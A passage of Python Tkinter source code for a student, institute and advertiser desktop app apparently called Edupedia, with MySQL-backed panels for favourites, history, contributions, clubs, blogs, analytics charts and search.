bg=\"#b2e9f7\")\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n list_box_favorie = Listbox(inside_frame, height=10, width=50,font=(\"Helvetica\", \"16\"))\n scroll_bar_favorite = Scrollbar(inside_frame)\n go_button = Button(inside_frame, bg=\"blue\",fg=\"white\", text=\"Go\",width=4,font=(\"Helvetica\", \"13\"), command=lambda: go_favorite())\n\n sql_favourite = \"SELECT favourite FROM favourite WHERE username = %s\"\n value_favourite = [f\"{username}\"]\n edupedia_cursor.execute(sql_favourite, value_favourite)\n result_favourite = edupedia_cursor.fetchall()\n for favourite in result_favourite:\n list_box_favorie.insert(END, favourite)\n list_box_favorie.grid(row=1, column=0, sticky=\"w\",padx=10,pady=10)\n scroll_bar_favorite.grid(row=1, column=0, sticky=\"e\",padx=10,pady=10)\n go_button.grid(row=2, column=0, sticky=\"e\", padx=20,pady=10)\n\n def show_history():\n\n def go_history():\n index_of_history = list_box_history.curselection()\n history_search = list_box_history.get(index_of_history)\n frame_history.place_forget()\n seacrh_result(history_search, frame_history)\n\n frame_history = Frame(frame, height=200, width=800,bg=\"#0572b5\")\n frame_history.place(x=350, y=200)\n button_back = Button(frame_history,text=\"X\",width=2,bg=\"red\",fg=\"white\" ,font=(\"Helvetica\", \"12\"),command=lambda: close(frame_history))\n inside_frame = Frame(frame_history, bg=\"#b2e9f7\")\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n list_box_history = Listbox(inside_frame, height=10, width=50,font=(\"Helvetica\", \"16\"))\n scroll_bar_history = Scrollbar(inside_frame)\n go_button = Button(inside_frame, bg=\"blue\",fg=\"white\", text=\"Go\",width=4,font=(\"Helvetica\", \"13\"), command=lambda: go_history())\n\n sql_history = \"SELECT history FROM history WHERE username = %s\"\n value_history = [f\"{username}\"]\n edupedia_cursor.execute(sql_history, value_history)\n result_history = edupedia_cursor.fetchall()\n for history in result_history:\n list_box_history.insert(END, history)\n list_box_history.grid(row=1, column=0,sticky=\"w\",padx=10,pady=10)\n scroll_bar_history.grid(row=1, column=0,sticky=\"e\",padx=10,pady=10)\n go_button.grid(row=2, column=0, sticky=\"e\",padx=20,pady=10)\n\n def contribute(frame,username,user):\n def submit_contribute_others(frame):\n messagebox.showinfo(\"Sorry\",\"we are updating this\")\n back()\n\n def submit_contribute_online_courses(frame):\n\n label_category.grid_forget()\n button_category1.grid_forget()\n button_category2.grid_forget()\n button_category3.grid_forget()\n button_category4.grid_forget()\n columns = [\"title\",\"category\",\"description\",\"level\",\"duration\",\"skills_covered\",\"prerequisites\",\"language\",\"associated_with\",\"instructors\",\"price\",\"rating\",\"url\"]\n for i in range(len(columns)):\n label_title = Label(inside_frame, text=f\"{columns[i]}\", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_title = Entry(inside_frame, font=(\"Helvetica\", \"16\"))\n label_title.grid(row=i, column=0, pady=1, sticky='w')\n entry_title.grid(row=i, column=1, sticky='e', padx=10)\n\n\n button_back = Button(inside_frame, text=\"back\", height=1, width=5, bg=\"white\",fg=\"blue\", font=(\"Helvetica\", \"16\"),\n command=lambda:back(),activeforeground=\"white\",activebackground=\"blue\")\n button_back.grid(row=len(columns) + 1, column=1,sticky='w', pady=10,padx=35)\n button_submit = Button(inside_frame, text=\"submit\", height=1, width=6, bg=\"blue\",fg=\"white\", font=(\"Helvetica\", \"16\"),\n activeforeground=\"blue\",activebackground=\"white\")\n button_submit.grid(row=len(columns) + 1, column=1, sticky='e', pady=20,padx=35)\n def submit_contribute_colleges(frame):\n\n label_category.grid_forget()\n button_category1.grid_forget()\n button_category2.grid_forget()\n button_category3.grid_forget()\n button_category4.grid_forget()\n columns = [\"University_Name\",\"College_Name\",\"College_Type\",\"State_Name\",\"District_Name\"]\n for i in range(len(columns)):\n label_title = Label(inside_frame, text=f\"{columns[i]}\", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_title = Entry(inside_frame, font=(\"Helvetica\", \"16\"))\n label_title.grid(row=i, column=0,pady=5,sticky='w')\n entry_title.grid(row=i, column=1,sticky='e',padx=10)\n\n\n button_back = Button(inside_frame, text=\"back\", height=1, width=5, bg=\"white\",fg=\"blue\", font=(\"Helvetica\", \"16\"),\n command=lambda:back(),activeforeground=\"white\",activebackground=\"blue\")\n button_back.grid(row=len(columns) + 1, column=1,sticky='w', pady=10,padx=35)\n button_submit = Button(inside_frame, text=\"submit\", height=1, width=6, bg=\"blue\",fg=\"white\", font=(\"Helvetica\", \"16\"),\n activeforeground=\"blue\",activebackground=\"white\")\n button_submit.grid(row=len(columns) + 1, column=1, sticky='e', pady=20,padx=35)\n def submit_contribute_books(frame):\n\n\n label_category.grid_forget()\n button_category1.grid_forget()\n button_category2.grid_forget()\n button_category3.grid_forget()\n button_category4.grid_forget()\n\n\n columns = [\"author\",\"image\",\"description\",\"download_link\",\"pages\",\"publisher\",\"year\",\"language\",\"file\"]\n for i in range(len(columns)):\n label_title = Label(inside_frame, text=f\"{columns[i]}\", bg=\"#b2e9f7\", font=(\"Helvetica\", \"16\"))\n entry_title = Entry(inside_frame, font=(\"Helvetica\", \"16\"))\n label_title.grid(row=i, column=0,pady=5,sticky='w')\n entry_title.grid(row=i, column=1,sticky='e',padx=10)\n\n\n button_back = Button(inside_frame, text=\"back\", height=1, width=5, bg=\"white\",fg=\"blue\", font=(\"Helvetica\", \"16\"),\n command=lambda:back(),activeforeground=\"white\",activebackground=\"blue\")\n button_back.grid(row=len(columns) + 1, column=1,sticky='w', pady=10,padx=35)\n button_submit = Button(inside_frame, text=\"submit\", height=1, width=6, bg=\"blue\",fg=\"white\", font=(\"Helvetica\", \"16\"),\n activeforeground=\"blue\",activebackground=\"white\")\n button_submit.grid(row=len(columns) + 1, column=1, sticky='e', pady=20,padx=35)\n\n\n\n def back():\n frame_contribute_profile.place_forget\n frame_contribute_profile.place_forget()\n contribute(frame,username,user)\n\n def close(frame):\n frame.place_forget()\n\n\n frame_contribute_profile = Frame(center_frame,bg=\"#0572b5\")\n button_back = Button(frame_contribute_profile, text=\"X\", width=2, bg=\"red\",fg=\"white\", command=lambda: close(frame_contribute_profile))\n inside_frame = Frame(frame_contribute_profile, bg=\"#b2e9f7\")\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n frame_contribute_profile.place(x=50,y=20)\n\n label_category = Label(inside_frame, text=\"select a category \", bg=\"#b2e9f7\",fg=\"blue\", font=(\"Helvetica\", \"18\"))\n label_category.grid(row=0, column=0,pady=20,sticky=\"w\")\n\n button_category1= Button(inside_frame, text=f\"books\",bg=\"#0abaf5\",font=(\"Helvetica\", \"18\"), command=lambda: submit_contribute_books(inside_frame)\n ,activebackground=\"blue\",activeforeground=\"white\",width=15)\n button_category1.grid(row=1, column=0,sticky=\"w\")\n button_category2 = Button(inside_frame, text=f\"colleges\",bg=\"#0abaf5\", font=(\"Helvetica\", \"18\"),width=15,\n command=lambda: submit_contribute_colleges(frame_contribute_profile),activebackground=\"blue\",activeforeground=\"white\")\n button_category2.grid(row=2, column=0,pady=10,sticky=\"w\")\n button_category3= Button(inside_frame, text=f\"online courses\",bg=\"#0abaf5\", font=(\"Helvetica\", \"18\"),width=15,\n command=lambda: submit_contribute_online_courses(frame_contribute_profile),activebackground=\"blue\",activeforeground=\"white\")\n button_category3.grid(row=3, column=0,sticky=\"w\")\n button_category4= Button(inside_frame, text=f\"others\",bg=\"#0abaf5\", font=(\"Helvetica\", \"18\"),width=15,\n command=lambda: submit_contribute_others(frame_contribute_profile),activebackground=\"blue\",activeforeground=\"white\")\n button_category4.grid(row=4, column=0,pady=10,sticky=\"w\")\n\n\n\n def clubs():\n frame_clubs = Frame(center_frame,bg=\"#0572b5\")\n button_back = Button(frame_clubs, text=\"X\", width=2, bg=\"red\",fg=\"white\", command=lambda: close(frame_clubs))\n inside_frame = Frame(frame_clubs, bg=\"#b2e9f7\")\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n frame_clubs.place(x=150, y=50)\n frame_clubs_manage = Frame(inside_frame,bg=\"#b2e9f7\")\n frame_clubs_detail = Frame(inside_frame,bg=\"#b2e9f7\")\n frame_clubs_notice = Frame(inside_frame,bg=\"#b2e9f7\")\n\n def manage_clubs():\n frame_clubs_manage.grid(row=1,column=0)\n frame_clubs_detail.grid_forget()\n frame_clubs_notice.grid_forget()\n\n button_IEEE = Button(frame_clubs_manage, text=f\"IEEE\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_IEEE.grid(row=1, column=0,pady=10,sticky=\"w\")\n button_ISTE = Button(frame_clubs_manage, text=f\"ISTE\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_ISTE.grid(row=2, column=0,pady=10,sticky=\"w\")\n button_NSS = Button(frame_clubs_manage, text=f\"NSS\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_NSS.grid(row=3, column=0,pady=10,sticky=\"w\")\n button_others = Button(frame_clubs_manage, text=f\"others\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_others.grid(row=4, column=0,pady=10,sticky=\"w\")\n\n def show_details():\n frame_clubs_detail.grid(row=1,column=1)\n button_cordinators = Button(frame_clubs_detail, text=f\"co-ordinators\", bg=\"#0abaf5\",\n font=(\"Helvetica\", \"14\"),width=15)\n button_cordinators.grid(row=1, column=1,pady=10,sticky=\"w\")\n button_secretaries = Button(frame_clubs_detail, text=f\"secretaries\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_secretaries.grid(row=2, column=1,pady=10,sticky=\"w\")\n button_volunteers = Button(frame_clubs_detail, text=f\"volunteers\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_volunteers.grid(row=4, column=1,pady=10,sticky=\"w\")\n button_others = Button(frame_clubs_detail, text=f\"others\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_others.grid(row=5, column=1,pady=10,sticky=\"w\")\n def notices():\n frame_clubs_notice.grid(row=1,column=2)\n\n button_events = Button(frame_clubs_notice, text=f\"events\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=18)\n button_events.grid(row=1, column=1,pady=10,sticky=\"w\")\n button_circular = Button(frame_clubs_notice, text=f\"circular\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=18)\n button_circular.grid(row=2, column=1,pady=10,sticky=\"w\")\n button_permission = Button(frame_clubs_notice, text=f\"permission request\", bg=\"#0abaf5\",\n font=(\"Helvetica\", \"14\"),width=18)\n button_permission.grid(row=3, column=1,pady=10,sticky=\"w\")\n button_others = Button(frame_clubs_notice, text=f\"others\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=18)\n button_others.grid(row=4, column=1,pady=10,sticky=\"w\")\n\n\n label_manage_clubs = Button(inside_frame, font=(\"Helvetica\", \"14\"), text=\"Manage clubs\", bg=\"#07f3f7\", width=18,\n command=lambda: manage_clubs())\n label_show_details = Button(inside_frame, font=(\"Helvetica\", \"14\"), text=\"details\", bg=\"#07f3f7\", width=18,\n command=lambda: show_details())\n label_assign_works = Button(inside_frame, font=(\"Helvetica\", \"14\"), text=\"notices\", bg=\"#07f3f7\", width=20,\n command=lambda: notices())\n\n label_manage_clubs.grid(row=0, column=0)\n label_show_details.grid(row=0, column=1)\n label_assign_works.grid(row=0, column=2)\n\n def advertise():\n frame_ad = Frame(center_frame,bg=\"#0572b5\")\n\n button_back = Button(frame_ad, text=\"X\", width=2, bg=\"red\",fg=\"white\", command=lambda: close(frame_ad))\n inside_frame = Frame(frame_ad, bg=\"#b2e9f7\")\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n\n frame_ad.place(x=100, y=50)\n frame_track_ad = Frame(inside_frame,bg=\"#b2e9f7\")\n frame_your_ad = Frame(inside_frame,bg=\"#b2e9f7\")\n frame_contact_us = Frame(inside_frame,bg=\"#b2e9f7\")\n\n def track_ADVT():\n\n frame_track_ad.grid(row=1,column=0)\n frame_your_ad.grid_forget()\n frame_contact_us.grid_forget()\n\n button_IEEE = Button(frame_track_ad, text=f\"See Progress\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_IEEE.grid(row=3, column=1,pady=10,sticky=\"w\")\n button_ISTE = Button(frame_track_ad, text=f\"Save Report\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_ISTE.grid(row=5, column=1,pady=10,sticky=\"w\")\n button_NSS = Button(frame_track_ad, text=f\"Advt. tools\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_NSS.grid(row=7, column=1,pady=10,sticky=\"w\")\n button_others = Button(frame_track_ad, text=f\"others\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_others.grid(row=9, column=1,pady=10,sticky=\"w\")\n\n def Your_Ads():\n\n\n frame_your_ad.grid(row=1,column=1)\n\n button_cordinators = Button(frame_your_ad, text=f\"Create New\", bg=\"#0abaf5\",\n font=(\"Helvetica\", \"14\"),width=15)\n button_cordinators.grid(row=1, column=1,pady=10,sticky=\"w\")\n button_secretaries = Button(frame_your_ad, text=f\"Update Ads\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_secretaries.grid(row=2, column=1,pady=10,sticky=\"w\")\n button_volunteers = Button(frame_your_ad, text=f\"Ads Services\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_volunteers.grid(row=3, column=1,pady=10,sticky=\"w\")\n button_others = Button(frame_your_ad, text=f\"others\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_others.grid(row=4, column=1,pady=10,sticky=\"w\")\n\n def contact_us():\n\n\n frame_contact_us.grid(row=1,column=2)\n\n button_events = Button(frame_contact_us, text=f\"Premium Services\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_events.grid(row=3, column=1,pady=10,sticky=\"w\")\n button_circular = Button(frame_contact_us, text=f\"Report a problem\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_circular.grid(row=5, column=1,pady=10,sticky=\"w\")\n button_permission = Button(frame_contact_us, text=f\"Help Needed\", bg=\"#0abaf5\",\n font=(\"Helvetica\", \"14\"),width=15)\n button_permission.grid(row=7, column=1,pady=10,sticky=\"w\")\n button_others = Button(frame_contact_us, text=f\"others\", bg=\"#0abaf5\", font=(\"Helvetica\", \"14\"),width=15)\n button_others.grid(row=9, column=1,pady=10,sticky=\"w\")\n\n label_track_ad = Button(inside_frame, font=(\"Helvetica\", \"14\"), text=\"track ADVT\",bg=\"#07f3f7\", width=22,\n command=lambda: track_ADVT())\n label_your_ad = Button(inside_frame, font=(\"Helvetica\", \"14\"), text=\"Your Ads\",bg=\"#07f3f7\",width=22,\n command=lambda: Your_Ads())\n label_contat_us = Button(inside_frame, font=(\"Helvetica\", \"14\"), text=\"contact us\",bg=\"#07f3f7\", width=22,\n command=lambda: contact_us())\n\n label_track_ad.grid(row=0, column=0)\n label_your_ad.grid(row=0, column=1)\n label_contat_us.grid(row=0, column=2)\n\n\n # left\n profile_text_label = Label(left_frame, font=(\"Helvetica\", \"16\"), text=\"My profile\", bg=\"#041924\", width=18,fg=\"white\",\n anchor=\"sw\",height=2)\n profile_img = Image.open(\"resources/profile.jpg\")\n profile_img = ImageTk.PhotoImage(profile_img)\n profile_canvas = Canvas(left_frame, height=180, width=220)\n profile_canvas.create_image(0, 0, image=profile_img, anchor='nw')\n profile_name_label = Label(left_frame, font=(\"Helvetica\", \"16\"), text=f\"{username}\", bg=\"#041924\", width=18,fg=\"white\",\n anchor='nw')\n view_profile_butt = Button(left_frame, text=\"view profile\", font=(\"Helvetica\", \"16\"), width=18, height=2,\n bg=\"#05b3b0\", command=lambda: view_profile(frame, username, user))\n update_profile_butt = Button(left_frame, text=\"update profile\", font=(\"Helvetica\", \"16\"), width=18, height=2,\n bg=\"#0f5c5b\", command=lambda: update_profile(frame, username, user),fg=\"#aaedf0\")\n contirubte_butt = Button(left_frame, text=\"Contiribute\", font=(\"Helvetica\", \"16\"), bg=\"#05b3b0\", width=18, height=2,\n command=lambda: contribute(frame,username,user))\n history_butt = Button(left_frame, text=\"History\", font=(\"Helvetica\", \"16\"), bg=\"#05b3b0\", width=18, height=2, command= lambda : show_history())\n\n if user == \"student\":\n favorite_butt = Button(left_frame, text=\"favorites\",fg=\"#aaedf0\", font=(\"Helvetica\", \"16\"), bg=\"#0f5c5b\", width=18, height=2,command=lambda: show_favourite(frame, username))\n favorite_butt.grid(row=6, column=0)\n contirubte_butt.grid(row=7, column=0)\n\n\n elif user == 'institute':\n club_butt = Button(left_frame, text=\"Clubs\", fg=\"#aaedf0\",font=(\"Helvetica\", \"16\"), bg=\"#0f5c5b\", width=18, height=2, command= lambda : clubs())\n club_butt.grid(row=7, column=0)\n contirubte_butt.grid(row=8, column=0)\n\n\n else:\n advertise_butt = Button(left_frame, text=\"Advertise\",fg=\"#aaedf0\", font=(\"Helvetica\", \"16\"), bg=\"#0f5c5b\", width=18, height=2 ,command= lambda : advertise())\n advertise_butt.grid(row=7, column=0)\n\n def blog_feed(user):\n\n frame_blog = Frame(center_frame, height=400, width=600, bg=\"#0572b5\")\n\n close_button = Button(frame_blog, text=\"X\", bg=\"red\", fg=\"white\", width=2,\n command=lambda: close(frame_blog),font=(\"Helvetica\", \"10\"),)\n inside_frame = Frame(frame_blog, bg=\"#b2e9f7\")\n close_button.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n\n frame_blog.place(x=50, y=20)\n\n button_border =Frame(inside_frame, highlightbackground=\"blue\",\n highlightthickness=2)\n button_border.grid(row=1, column=0, sticky=\"w\", padx=10,pady=10)\n\n like_button = Button(button_border, bg=\"white\",fg=\"blue\", text=\"Like\",font=(\"Helvetica\", \"10\"),width=4)\n like_button.pack()\n\n button_border =Frame(inside_frame, highlightbackground=\"green\",\n highlightthickness=2, bd=0)\n button_border.grid(row=1, column=0, sticky=\"e\", padx=30)\n share_button = Button(button_border, bg=\"white\",fg=\"green\" ,text=\"share\",font=(\"Helvetica\", \"10\"),width=5)\n share_button.pack()\n\n button_border =Frame(inside_frame, highlightbackground=\"red\",\n highlightthickness=2)\n button_border.grid(row=1, column=0, sticky=\"w\", padx=70)\n favorite_button = Button(button_border, bg=\"white\",fg=\"red\", text=\"fav\",font=(\"Helvetica\", \"10\"),width=4)\n favorite_button.pack()\n\n\n text_widget = Text(inside_frame, width=80, height=16, bg='white', pady=20, padx=10, font=(\"Helvetica\", \"14\"))\n scrollbar = Scrollbar(inside_frame)\n text_widget.config(yscrollcommand=scrollbar.set)\n scrollbar.config(command=text_widget.yview)\n text_widget.grid(row=0, column=0, sticky='w',pady=5,padx=5)\n scrollbar.grid(row=0, column=0, sticky='e',pady=5,padx=5)\n\n\n result_blog_columns = [\"author_name\",\"category\",\"blog_name\",\"blog\"]\n sql_blog_feed = f\"SELECT * FROM blogs ORDER BY rating DESC LIMIT 50\"\n edupedia_cursor.execute(sql_blog_feed)\n result_blog_feed = edupedia_cursor.fetchall()\n result_blog_feed_value = []\n\n for blogs in result_blog_feed:\n blog = []\n for blogs_row in blogs:\n blog.append(blogs_row)\n blog = blog[2:6]\n result_blog_feed_value.append(blog)\n\n for i in range(len(result_blog_feed_value)):\n text_widget.insert(END, f\"BLOG.{i+1}\\n\")\n text_widget.insert(END, f\"=\"*len(f\"BLOG.{i+1}\"))\n for j in range(len(result_blog_columns)):\n text_widget.insert(END, f\"\\n{result_blog_columns[j]} :\")\n text_widget.insert(END, f\" {result_blog_feed_value[i][j]}\")\n text_widget.insert(END, \"\\n\\n\")\n\n\n\n def analyse(frame):\n\n frame_analyse = Frame(center_frame,bg=\"#0572b5\")\n button_back = Button(frame_analyse,text=\"X\",width=2,bg=\"red\",fg=\"white\" ,font=(\"Helvetica\", \"12\"),command=lambda: close(frame_analyse))\n inside_frame = Frame(frame_analyse, bg=\"#b2e9f7\")\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n frame_analyse.place(x=100,y=30)\n\n def plot(x,y):\n frame_analyse_graph = Frame(inside_frame, width=800, height=150)\n frame_analyse_graph.grid(row=1,column=0,pady=10)\n fig = Figure(figsize=(7,4),dpi=100)\n graph = fig.add_subplot(111)\n draw = graph.bar(x,y,.3)\n canvas = FigureCanvasTkAgg(fig,master=frame_analyse_graph)\n canvas.draw()\n canvas.get_tk_widget().pack()\n\n def trending():\n sql_blog_likes = f\"SELECT blog_name,likes FROM blogs ORDER BY blog_name LIMIT 10;\"\n edupedia_cursor.execute(sql_blog_likes)\n likes = edupedia_cursor.fetchall()\n x_axis = []\n y_axis = []\n for i in range(len(likes)):\n x_axis.append(likes[i][0])\n y_axis.append(int(likes[i][1]))\n\n plot(x_axis,y_axis)\n\n def ADVT():\n sql_blog_likes = f\"SELECT ADVT_name,rating FROM advertisement ORDER BY ADVT_name LIMIT 10;\"\n edupedia_cursor.execute(sql_blog_likes)\n likes = edupedia_cursor.fetchall()\n x_axis = []\n y_axis = []\n for i in range(len(likes)):\n x_axis.append(likes[i][0])\n y_axis.append(float(likes[i][1]))\n\n plot(x_axis,y_axis)\n\n def reactions():\n sql_blog_likes = f\"SELECT post_name,likes FROM reactions ORDER BY post_name LIMIT 10;\"\n edupedia_cursor.execute(sql_blog_likes)\n likes = edupedia_cursor.fetchall()\n x_axis = []\n y_axis = []\n for i in range(len(likes)):\n x_axis.append(likes[i][0])\n y_axis.append(int(likes[i][1]))\n\n plot(x_axis,y_axis)\n\n label_tredning = Button(inside_frame, font=(\"Helvetica\", \"16\"), text=\"Trending\", bg=\"#07f3f7\", width=20,\n anchor='nw', command= lambda : trending())\n label_ADVT = Button(inside_frame, font=(\"Helvetica\", \"16\"), text=\"ADVT.\", bg=\"#07f3f7\", width=20,\n anchor='nw', command= lambda : ADVT())\n label_reactions_to_post = Button(inside_frame, font=(\"Helvetica\", \"16\"), text=\"Reactions\", bg=\"#07f3f7\", width=20,\n anchor='nw', command= lambda : reactions())\n label_tredning.grid(row=0 ,column=0,sticky=\"w\",pady=10,padx=10)\n label_ADVT.grid(row=0, column=0,padx=260)\n label_reactions_to_post.grid(row=0, column=0,sticky=\"e\",padx=10)\n\n\n # top_icons\n search_button = Button(top_icons, text=\"search\", bg='#22e2f0', foreground='blue',font=(\"Helvetica\", \"14\"), width=13,\n command=lambda: search_window())\n vlog_button = Button(top_icons, text=\"blogs\", bg='#091836', foreground='#22e2f0', font=(\"Helvetica\", \"14\"), height=1,\n width=13, command=lambda: blog_feed(user))\n create_vlog_button = Button(top_icons, text=\"create blogs\", bg='#22e2f0', foreground='blue', font=(\"Helvetica\", \"14\"),\n height=1, width=13, command=lambda: create_blog(frame, username, user))\n index_button = Button(top_icons, text=\"index\",bg='#091836', foreground='#22e2f0', font=(\"Helvetica\", \"14\"), height=1,\n width=13, command=lambda: index())\n\n if user == 'student' or user == \"institute\":\n calc_button = Button(top_icons, text=\"Calc\", bg='#22e2f0', foreground='blue', font=(\"Helvetica\", \"14\"),\n height=1, width=13, command=lambda: calculator(frame))\n calc_button.grid(row=0, column=5, padx=25)\n\n else:\n analyse_button = Button(top_icons, text=\"Analyse\", bg='#22e2f0', foreground='blue', font=(\"Helvetica\", \"14\"),\n height=1, width=13, command= lambda : analyse(frame))\n analyse_button.grid(row=0, column=5, padx=25)\n\n # top frame\n top_frame.place(x=0, y=0)\n left_frame.place(x=0, y=88)\n logo_canvas.place(x=10, y=10)\n\n button_logout.place(x=1150, y=20)\n top_icons.place(x=225, y=80)\n center_frame.place(x=225, y=120)\n\n # left frame\n profile_text_label.grid(row=0, column=0)\n profile_canvas.grid(row=1, column=0)\n profile_name_label.grid(row=2, column=0,pady=3)\n view_profile_butt.grid(row=3, column=0,)\n update_profile_butt.grid(row=4, column=0)\n history_butt.grid(row=5, column=0)\n\n # top icons\n search_button.grid(row=0, column=1, padx=25)\n vlog_button.grid(row=0, column=2, padx=25)\n create_vlog_button.grid(row=0, column=3, padx=20)\n index_button.grid(row=0, column=4, padx=25)\n\n def seacrh_result(search_Entry,frame):\n # search result frame\n\n def go_search(count_index_table):\n scroll_bar_search.grid_forget()\n list_box_search.grid_forget()\n button_back.grid_forget()\n go_button.grid_forget()\n\n\n\n\n index_of_search = list_box_search.curselection()\n index_of_table = 0\n if index_of_search[0] > count_index_table[-1]:\n index_of_table = count_index_table[-1]\n else:\n for i in range(len(count_index_table)):\n if count_index_table[i] > index_of_search[0]:\n index_of_table = count_index_table[i-1]\n break\n\n column_name = list_box_search.get(index_of_search)[5:]\n table_name = list_box_search.get(index_of_table)\n\n text_widget = Text(inside_frame, width=70, height=15, bg='white', pady=20, padx=10, font=(\"Helvetica\", \"14\"))\n scrollbar = Scrollbar(inside_frame)\n text_widget.config(yscrollcommand=scrollbar.set)\n scrollbar.config(command=text_widget.yview)\n\n text_widget.grid(row=1, column=0, sticky='w',padx=10,pady=10)\n scrollbar.grid(row=1, column=0, sticky='e',padx=10,pady=10)\n\n if table_name == \"blogs\":\n selection = \"blog_name\"\n elif table_name == \"books\":\n selection = \"title\"\n elif table_name == \"colleges\":\n selection = \"College_Name\"\n elif table_name == \"company_profile\":\n selection = \"company_name\"\n elif table_name == \"online_courses\":\n selection = \"title\"\n\n sql_search_goto = f\"SELECT * FROM {table_name} WHERE {selection} = %s\"\n value_search_goto = [column_name]\n edupedia_cursor.execute(sql_search_goto, value_search_goto)\n result_seacrh_goto = edupedia_cursor.fetchall()\n sql_search_row = f\"show columns from {table_name}\"\n edupedia_cursor.execute(sql_search_row)\n result_search_column_detail = edupedia_cursor.fetchall()\n # getting colunm name for each row\n columns_names = []\n for column_name in result_search_column_detail:\n columns_names.append(column_name[0])\n\n # showing search result\n for i in range(len(columns_names)):\n fact = f\"{columns_names[i].upper()} :\\n \\n {result_seacrh_goto[0][i]} \\n\\n\\n\"\n text_widget.insert(END, fact)\n\n def back(frame):\n frame.pack_forget()\n search_window(search_Entry,frame)\n\n back_button = Button(frame_search, text=\"Close\", fg=\"green\", bg=\"yellow\",\n command=lambda: close(frame_search))\n #show_button = Button(frame_search, text=\"Show \", bg='blue', fg='white', command=lambda: show())\n #show_button.grid(row=2, column=0, pady=10, sticky='e', padx=10)\n\n\n\n frame_search = Frame(center_frame, height=400, width=850, bg=\"#0572b5\")\n inside_frame = Frame(frame_search, bg=\"#b2e9f7\", width=600, height=300)\n button_back = Button(inside_frame, text=\"Back\", width=4, bg=\"white\", fg=\"blue\", font=(\"Helvetica\", \"12\"),\n command=lambda: close(frame_search))\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n button_back.grid(row=2, column=0, sticky=\"e\",padx=80,pady=10)\n\n\n\n frame_search.place(x=100, y=40)\n list_box_search = Listbox(inside_frame, height=18, width=90,font=(\"Helvetica\", \"12\"))\n scroll_bar_search = Scrollbar(inside_frame)\n list_box_search.delete(0, END)\n close_button = Button(frame_search,text=\"X\",width=2,bg=\"red\",fg=\"white\" ,font=(\"Helvetica\", \"12\"),command=lambda: close(frame_search))\n go_button = Button(inside_frame, bg=\"blue\",fg=\"white\",width=4, text=\"Go\",font=(\"Helvetica\", \"12\"), command=lambda: go_search(count_index_table))\n\n\n close_button.grid(row=0, column=0, sticky=\"e\", padx=10)\n list_box_search.grid(row=1, column=0, sticky=\"w\",padx=10,pady=10)\n scroll_bar_search.grid(row=1, column=0, sticky=\"e\",padx=10,pady=10)\n go_button.grid(row=2, column=0, sticky=\"e\", padx=20,pady=10)\n\n\n search_tables = [\"blogs\", \"books\", \"colleges\", \"company_profile\", \"online_courses\"]\n count_index_table = []\n count = -2\n for table in search_tables:\n if table == \"blogs\":\n selection = \"blog_name\"\n elif table == \"books\":\n selection = \"title\"\n elif table == \"colleges\":\n selection = \"College_Name\"\n elif table == \"company_profile\":\n selection = \"company_name\"\n elif table == \"online_courses\":\n selection = \"title\"\n\n list_box_search.insert(END, f\"{table}\")\n list_box_search.insert(END,\"=\"*len(table))\n sql_search = f\"select {selection} from {table} where {selection} like %s\"\n val_search = [f\"%{search_Entry}%\"]\n edupedia_cursor.execute(sql_search, val_search)\n result_tables = edupedia_cursor.fetchall()\n count+=2\n count_index_table.append(count)\n for i in range(len(result_tables)):\n list_box_search.insert(END, f\" {result_tables[i][0]}\")\n count+=1\n list_box_search.insert(END, \"\")\n count+=1\n\n\n # seacrh frame\n sercch_frame = Frame(center_frame,bg=\"#0572b5\", width=700, height=300)\n button_back = Button(sercch_frame, text=\"X\", width=2, bg=\"red\", fg=\"white\", font=(\"Helvetica\", \"12\"),\n command=lambda: close(sercch_frame))\n inside_frame = Frame(sercch_frame, bg=\"#b2e9f7\",width=600,height=300)\n button_back.grid(row=0, column=0, sticky=\"e\")\n inside_frame.grid(row=1, column=0, pady=10, padx=10)\n search_img = Image.open(\"resources/search.png\")\n search_img = ImageTk.PhotoImage(search_img)\n search_button = Button(sercch_frame, image=search_img, font=(\"Comic Sans MS\", 15, \"bold\"), anchor='nw', border=0,\n command=lambda: seacrh_result(search_Entry.get(),frame))\n search_Entry = Entry(sercch_frame, font=(\"Comic Sans MS\", 14), width=40)\n search_Entry_value = search_Entry.get()\n close_img = Image.open(\"resources/close.png\")\n close_img = ImageTk.PhotoImage(close_img)\n close_button = Button(sercch_frame, image=close_img, borderwidth=0, command=lambda: close(sercch_frame))\n\n 